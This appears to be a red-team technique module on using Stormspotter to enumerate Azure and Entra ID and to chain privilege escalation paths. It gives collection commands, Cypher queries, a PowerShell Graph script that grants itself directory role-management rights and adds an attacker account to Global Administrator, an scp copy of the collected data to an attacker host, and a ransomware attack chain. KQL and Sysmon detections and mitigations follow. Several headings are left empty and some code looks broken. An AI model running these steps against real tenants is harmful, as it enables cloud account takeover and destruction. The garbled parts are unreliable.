| Field | Value |
|---|---|
| Module ID | REC-CLOUD-003 |
| Technique Name | Stormspotter privilege escalation visualization |
| MITRE ATT&CK ID | T1087.004 – Account Discovery: Cloud Account; T1526 – Cloud Service Discovery |
| CVE | N/A (Legitimate Microsoft open-source tool) |
| Platform | Microsoft Azure Cloud & Entra ID |
| Viability Status | ACTIVE ✓ |
| Difficulty to Detect | MEDIUM (distinctive API patterns; offline analysis unlogged) |
| Requires Authentication | Yes (valid Azure credentials or service principal) |
| Applicable Versions | All Azure commercial, government, and sovereign clouds |
| Last Verified | December 2025 |
| Tool Author | Microsoft Azure Security Engineering (open-source) |
| Repository | https://github.com/Azure/Stormspotter |
| Author | SERVTEP – Artur Pchelnikau |
Stormspotter is Microsoft’s open-source reconnaissance and visualization framework for Azure environments that transforms raw Azure Resource Manager (ARM) and Entra ID API data into interactive attack graphs via a Neo4j database backend. Unlike AzureHound (which focuses on Entra ID accounts and relationships) or ROADrecon (which emphasizes offline enumeration), Stormspotter specializes in comprehensive infrastructure discovery—mapping the entire Azure resource hierarchy, subscription structure, role-based access control (RBAC) assignments, and service principal permissions to uncover privilege escalation paths and lateral movement opportunities.
Strategic Capability:
Business Impact:
Stormspotter Components:
Deployment Methods:
docker-compose upAuthentication Methods:
az login)| Factor | Risk Level | Mitigation |
|---|---|---|
| Detection (collection phase) | MEDIUM | High API volume detectable; consistent with legitimate admin activity |
| Detection (UI analysis) | LOW | Offline Neo4j queries; no API traffic during analysis |
| Credential exposure | MEDIUM | Service principal secrets; credentials stored in CLI cache |
| Attribution | MEDIUM | API calls traceable to source identity; CLI cache tied to user |
| Operational noise | LOW | Collection operations appear as normal admin API calls |
Objective: Complete attack environment setup using Docker.
# Step 1: Clone Stormspotter repository
git clone https://github.com/Azure/Stormspotter.git
cd Stormspotter
# Step 2: Start Docker containers (frontend, backend, neo4j)
docker-compose up
# Output:
# Creating network "stormspotter_default"
# Creating stormspotter_neo4j_1 (container_id)
# Creating stormspotter_backend_1 (container_id)
# Creating stormspotter_frontend_1 (container_id)
# Frontend available at http://localhost:9091
# Neo4j available at http://localhost:7474
# Step 3: Authenticate to Azure (on attacker machine, NOT in container)
az login
# Step 4: Verify subscriptions accessible
az account list --output table
# Step 5: Run Stormcollector (collect data from ALL subscriptions)
cd stormcollector
python3 sscollector.pyz cli
# Prompt: Select subscription(s) to enumerate
# Options: All available, specific subscriptions, exclude subscriptions
# Progress: Outputs status messages as resources are enumerated
# Step 6: Upload collected data to Neo4j backend
# Access http://localhost:9091 in browser
# Click "Database" → "Stormcollector Upload"
# Select stormcollector-output.sqlite (generated in step 5)
# Wait for backend to process and import into Neo4j
# Step 7: Explore attack graph via UI
# Access http://localhost:9091
# Browse resources, relationships, and privilege escalation paths
Key Artifacts Generated:
stormcollector-output.sqlite – Raw data exportObjective: Automate enumeration using stored service principal credentials.
# Step 1: Create service principal with Reader permissions
# (On victim tenant, via Azure Portal or via CLI with admin)
az ad sp create-for-rbac \
--name "SecurityAuditor" \
--role "Reader" \
--scopes "/subscriptions/{subscription-id}"
# Output:
# {
# "appId": "12345678-...",
# "password": "secret-password",
# "tenant": "contoso.onmicrosoft.com",
# ...
# }
# Step 2: Save credentials for Stormcollector use
export SP_TENANT="contoso.onmicrosoft.com"
export SP_CLIENT_ID="12345678-..."
export SP_CLIENT_SECRET="secret-password"
# Step 3: Run Stormcollector with service principal
python3 sscollector.pyz spn \
-t "$SP_TENANT" \
-c "$SP_CLIENT_ID" \
-s "$SP_CLIENT_SECRET"
# Alternative: Specify only specific subscriptions (reduce API calls)
python3 sscollector.pyz spn \
-t "$SP_TENANT" \
-c "$SP_CLIENT_ID" \
-s "$SP_CLIENT_SECRET" \
--subs "subscription-1-id" "subscription-2-id"
# Step 4: Upload output (same as Method 1, step 6)
Advantages:
Objective: Identify attack paths from low-privilege user to Global Admin or subscription Owner.
# After data import into Neo4j:
# Step 1: Access Stormspotter UI at http://localhost:9091
# Step 2: Search for target privilege level
# Options:
# - Global Administrator (Entra ID role)
# - Subscription Owner (Azure RBAC)
# - Resource Group Contributor
# - Service Principal with high permissions
# Step 3: Click node to view properties
# Example: Global Administrator role shows:
# - Members (users/SPs directly assigned)
# - Groups (if inherited via group membership)
# - Relationships (edges to/from other nodes)
# Step 4: Trace incoming relationships
# Incoming edge = potential privilege escalation path
# Example: User A is member of Group B, Group B is member of Global Admin
# Path: User A → (member of) → Group B → (member of) → Global Admin
# Step 5: Identify dangerous service principals
# Filter UI for SPs with permissions like:
# - "Microsoft.Authorization/*" (can grant any role)
# - "Microsoft.Compute/virtualMachines/*" (can execute on VMs)
# - "Microsoft.KeyVault/*" (can read secrets)
# Step 6: Export attack paths (if UI supports export)
# Otherwise, manually document findings in graph visualization
Example Attack Path Visualization:
LowPrivUser
↓ (memberOf)
ContractorsGroup
↓ (memberOf)
ApplicationAdministrators
↓ (assigned)
ApplicationDeveloperRole (can create SPs with Graph permissions)
→ escalation: Create new SP with "RoleManagement.ReadWrite.Directory"
→ assign self as Global Admin
→ Global Administrator achieved
Objective: Chain discovered paths to escalate privileges automatically.
# After identifying privilege escalation path via Stormspotter:
# Step 1: Identify exploitable service principal (from Stormspotter graph)
# Example: Current user is "Application Administrator"
# Identified: ServicePrincipal "AppDev" has "Application.ReadWrite.All"
# Step 2: Use identified SP to grant self higher permissions
# (Requires PowerShell + Microsoft.Graph module)
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# List owned applications
$myApps = Get-MgUserOwnedObject -UserId "me" -Filter "OData"
# For each app: add dangerous permission
foreach ($app in $myApps) {
$servicePrincipal = Get-MgServicePrincipal -Filter "appId eq '$($app.appId)'"
# Add "RoleManagement.ReadWrite.Directory" permission
$params = @{
principalId = $servicePrincipal.id
resourceId = "graph-microsoft-com-sp-id"
appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
}
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $servicePrincipal.id -BodyParameter $params
}
# Step 3: Use new permission to assign self to Global Admin role
$targetUser = Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.com'"
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator role template ID
$params = @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($targetUser.id)"
}
# Add user to Global Admin role
Invoke-MgGraphRequest -Method POST \
-Uri "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=$globalAdminRoleId/members/`$ref" \
-Body $params
# Result: User escalated to Global Administrator
Objective: Reduce collection time and API volume via targeted enumeration.
# For large environments (>10,000 users, >50 subscriptions):
# Option 1: Enumerate only Azure resources (skip Entra ID enumeration)
python3 sscollector.pyz cli --azure
# Option 2: Enumerate only Entra ID (skip resource enumeration)
python3 sscollector.pyz cli --aad
# Option 3: Target specific subscriptions only
python3 sscollector.pyz cli --subs "subscription-id-1" "subscription-id-2"
# Option 4: Backfill mode (enum AAD objects only if related to RBAC)
python3 sscollector.pyz cli --azure --backfill
# Option 5: Exclude low-value subscriptions
python3 sscollector.pyz cli --nosubs "dev-subscription-id" "test-subscription-id"
# Reduction in collection time: 50%-70% faster depending on filtering
Objective: Transfer data for analysis without access to original Azure environment.
# Step 1: Collection on Azure-connected machine
python3 sscollector.pyz cli
# Generates: stormcollector-output.sqlite
# Step 2: Transfer database to air-gapped machine
scp stormcollector-output.sqlite attacker@offline:/tmp/
# Step 3: Deploy Neo4j and Stormspotter on air-gapped machine (offline)
docker-compose up -d
# Step 4: Import data into Neo4j
# (Via UI upload, same as online method)
# Step 5: Unlimited analysis without network connectivity or API access
# All attack path queries run locally against Neo4j graph
# Zero detection risk from further enumeration
# Advantage: Completely undetectable analysis phase
| Command | Purpose | Example |
|---|---|---|
sscollector.pyz cli |
Azure CLI (cached az login tokens) |
python3 sscollector.pyz cli |
sscollector.pyz spn |
Service principal (client ID + secret) | sscollector.pyz spn -t tenant -c clientid -s secret |
| Flag | Purpose | Example |
|---|---|---|
--aad |
Entra ID only (skip Azure RM) | --aad |
--azure |
Azure resources only (skip Entra ID) | --azure |
--subs <id> |
Specific subscriptions | --subs sub1 sub2 sub3 |
--nosubs <id> |
Exclude subscriptions | --nosubs dev test |
--backfill |
AAD objects only if related to RBAC | --azure --backfill |
--cloud |
Alternative cloud (GERMAN, CHINA, USGOV) | --cloud USGOV |
--json |
Convert SQLite to JSON format | --json |
// Find all users with Global Administrator role
MATCH (u:User)-[:HAS_ROLE]->(r:Role {name: "Global Administrator"})
RETURN u.displayName, u.userPrincipalName;
// Find privilege escalation paths (2 hops)
MATCH path=(u:User)-[*1..2]->(r:Role {name: "Global Administrator"})
RETURN path;
// Find service principals with dangerous permissions
MATCH (sp:ServicePrincipal)-[:HAS_PERMISSION]->(p:Permission)
WHERE p.name CONTAINS "RoleManagement" OR p.name CONTAINS "Application.ReadWrite"
RETURN sp.displayName, p.name;
// Find managed identities with Contributor role
MATCH (mi:ManagedIdentity)-[:HAS_ROLE]->(r:Role {name: "Contributor"})
RETURN mi.displayName, mi.principalId;
// Find subscriptions with public resources
MATCH (s:Subscription)-[:CONTAINS]->(rg:ResourceGroup)-[:CONTAINS]->(r:Resource)
WHERE r.properties CONTAINS "public"
RETURN s.name, r.type, r.name;
Procedure:
az login
python3 sscollector.pyz cli
if [ -f "stormcollector-output.sqlite" ] && [ -s "stormcollector-output.sqlite" ]; then
echo "✓ Test PASSED: Stormcollector output generated"
sqlite3 stormcollector-output.sqlite "SELECT COUNT(*) FROM resources;" # Check record count
else
echo "✗ Test FAILED: No output or empty file"
fi
Success Criteria: SQLite database with >100 resource records.
Procedure:
# Via UI: Upload stormcollector-output.sqlite
# Check Neo4j directly:
curl -X POST http://localhost:7474/db/neo4j/tx \
-H "Authorization: Basic bmVvNGo6cGFzc3dvcmQ=" \
-H "Content-Type: application/json" \
-d '{"statements":[{"statement":"MATCH (n) RETURN count(n)"}]}'
# Should return count > 100
Success Criteria: Neo4j contains >100 nodes representing resources and identities.
Procedure:
// Via Neo4j console or Stormspotter UI
MATCH path=(u:User)-[*1..3]->(r:Role {name: "Global Administrator"})
RETURN count(path) as escalation_paths;
Success Criteria: At least one path identified (0 paths = properly hardened).
Procedure:
MATCH (sp:ServicePrincipal)-[:HAS_PERMISSION]->(p:Permission)
WHERE p.name CONTAINS "RoleManagement.ReadWrite.Directory"
RETURN sp.displayName, count(p) as dangerous_permissions;
Success Criteria: Identify any SPs with RoleManagement permissions (exploitation opportunity).
KQL Query:
AzureActivity
| where TimeGenerated > ago(1h)
| where OperationNameValue in ("Microsoft.Authorization/roleAssignments/read",
"Microsoft.Resources/subscriptions/resourceGroups/read",
"Microsoft.Resources/deployments/read",
"Microsoft.Compute/virtualMachines/read",
"Microsoft.KeyVault/vaults/read")
| summarize CallCount = count(),
UniqueOperations = dcount(OperationNameValue),
FirstCall = min(TimeGenerated),
LastCall = max(TimeGenerated)
by Caller, CallerIpAddress, bin(TimeGenerated, 5m)
| where CallCount > 100 // Threshold for bulk enumeration
| extend AlertSeverity = "High", TechniqueID = "T1526"
Configuration (Azure Portal):
KQL Query:
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| where Result =~ "success"
| mv-expand TargetResources
| where TargetResources.modifiedProperties any (x => x.displayName == "AppRole.Value" and (x.newValue contains "RoleManagement" or x.newValue contains "Application.ReadWrite"))
| project TimeGenerated, InitiatedByUserOrApp=InitiatedBy.user.userPrincipalName, TargetSP=TargetResources.displayName, GrantedPermission=TargetResources.modifiedProperties[0].newValue
| extend AlertSeverity = "High"
Note: Stormcollector executes externally; Windows Event Logs do NOT capture its activity directly.
Monitor these cloud-side events:
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Detect Stormcollector execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">sscollector</CommandLine>
<CommandLine condition="contains">stormcollector</CommandLine>
<Image condition="contains">python</Image>
</ProcessCreate>
<!-- Detect Docker compose for Stormspotter deployment -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">docker-compose up</CommandLine>
<CommandLine condition="contains">stormspotter</CommandLine>
</ProcessCreate>
<!-- Detect network connections to Azure APIs -->
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">management.azure.com</DestinationHostname>
<DestinationHostname condition="contains">graph.microsoft.com</DestinationHostname>
<DestinationPort>443</DestinationPort>
</NetworkConnect>
<!-- Detect Neo4j database access (port 7474, 7687) -->
<NetworkConnect onmatch="include">
<DestinationPort condition="is">7474</DestinationPort>
<DestinationPort condition="is">7687</DestinationPort>
</NetworkConnect>
</EventFiltering>
</Sysmon>
Alert Configuration:
| Legitimate Activity | Stormspotter Behavior | Distinguish By |
|---|---|---|
| Compliance auditing tools | Bulk read of roles/resources | Scope (all vs. specific); frequency (scheduled) |
| Azure governance tools | Permission enumeration | Expected service accounts; lower volume |
| IT change management | Resource inventory sync | Lower frequency; normal business hours |
| EDR/CSPM tools | Baseline collection | Internal IP ranges; whitelisted agents |
| Admin PowerShell scripts | API calls to ARM | Lower volume; known tools (PowerShell modules) |
Tuning:
// Exclude known legitimate sources
let WhitelistedAccounts = dynamic(["svc_audit@contoso.com", "admin_automation@contoso.com"]);
let WhitelistedIPs = dynamic(["10.0.0.0/8"]);
AzureActivity
| where Caller !in (WhitelistedAccounts)
| where CallerIpAddress !startswith "10.0.0"
| where CallCount > 100
// ... rest of detection logic
Enable Azure Activity Log Monitoring & Export
Implement Conditional Access Policies (CAP)
Restrict Service Principal Creation
Implement Privileged Identity Management (PIM)
Enable Managed Identity RBAC Monitoring
Monitor for Impossible Travel
If Stormspotter reconnaissance suspected:
# 1. Collect Azure Activity Logs for bulk API calls
Search-AzLog -MaxResults 10000 -ResourceGroup "*" `
-StartTime (Get-Date).AddDays(-7) `
-EndTime (Get-Date) | `
Export-Csv -Path azure_activity.csv
# 2. Check for Stormcollector executable or process traces
Get-ChildItem -Path "C:\Users" -Recurse -Include "sscollector*" -ErrorAction SilentlyContinue
# 3. Check for Neo4j database ports (7474, 7687) listening
netstat -ano | findstr /R ":7474|:7687"
# 4. Check Docker containers running Stormspotter
docker ps | grep -i stormspotter
# 5. Collect service principal sign-in logs
Get-MgAuditLogSignIn -Filter "resourceDisplayName eq 'Azure Resource Manager'" | Export-Csv arm_signins.csv
T1078.004 (Valid Accounts: Cloud)
↓
T1087.004 (Account Discovery: Cloud – Stormspotter)
↓
T1526 (Cloud Service Discovery)
↓
T1087.003 (Permission Groups Discovery)
↓
T1548.004 (Abuse Elevation Control Mechanism: Azure Role Assignment)
↓
T1098.001 (Account Manipulation: Add Service Principal)
↓
T1133 (External Remote Services) [via service principal backdoor]
Phase 1: Initial Compromise
├─ Phishing → Employee credential theft
└─ Credentials: regular user (no admin rights)
Phase 2: Cloud Reconnaissance (T1526 – Stormspotter)
├─ Run Stormcollector: enumerate all subscriptions
├─ Discover: 20 subscriptions, 500+ VMs, 50+ key vaults
└─ Identify: Automation account with "Contributor" on all subscriptions
Phase 3: Privilege Escalation
├─ Automation account has RunAs credential (service principal)
├─ Extract credential from hybrid worker or automation account
└─ Escalate: Now have "Contributor" on all subscriptions
Phase 4: Lateral Movement & Persistence
├─ Use Invoke-AzVMRunCommand to execute on all VMs
├─ Install ransomware payload on VMs via automation runbooks
└─ Create backdoor service principal for persistent access
Phase 5: Destruction
├─ Delete VMs, key vaults, storage accounts across subscriptions
├─ Disable backups and recovery options
├─ Extort organization for ransom
Campaign Context: Financially motivated ransomware group targeting Azure/hybrid environments
Execution:
Detection Opportunities:
| Standard | Requirement | Mitigation |
|---|---|---|
| CIS Controls | 6.1, 6.2 (Account Management) | Restrict enumeration via CAP; enable logging |
| DISA STIG | Cloud security hardening | Implement MFA, CAP, audit logging |
| NIST 800-53 | AC-2, SI-4, AU-12 | Logging, CAP, monitoring, incident response |
| GDPR | Article 32 (Security) | Detect unauthorized access; incident response |
| DORA | Digital Operational Resilience | Cloud service security; incident response |
| NIS2 | Detection, response capabilities | Real-time detection; IR procedures |
| ISO 27001 | 5.2, 8.2, 8.15 (Policies, access, logging) | Logging, access controls, monitoring |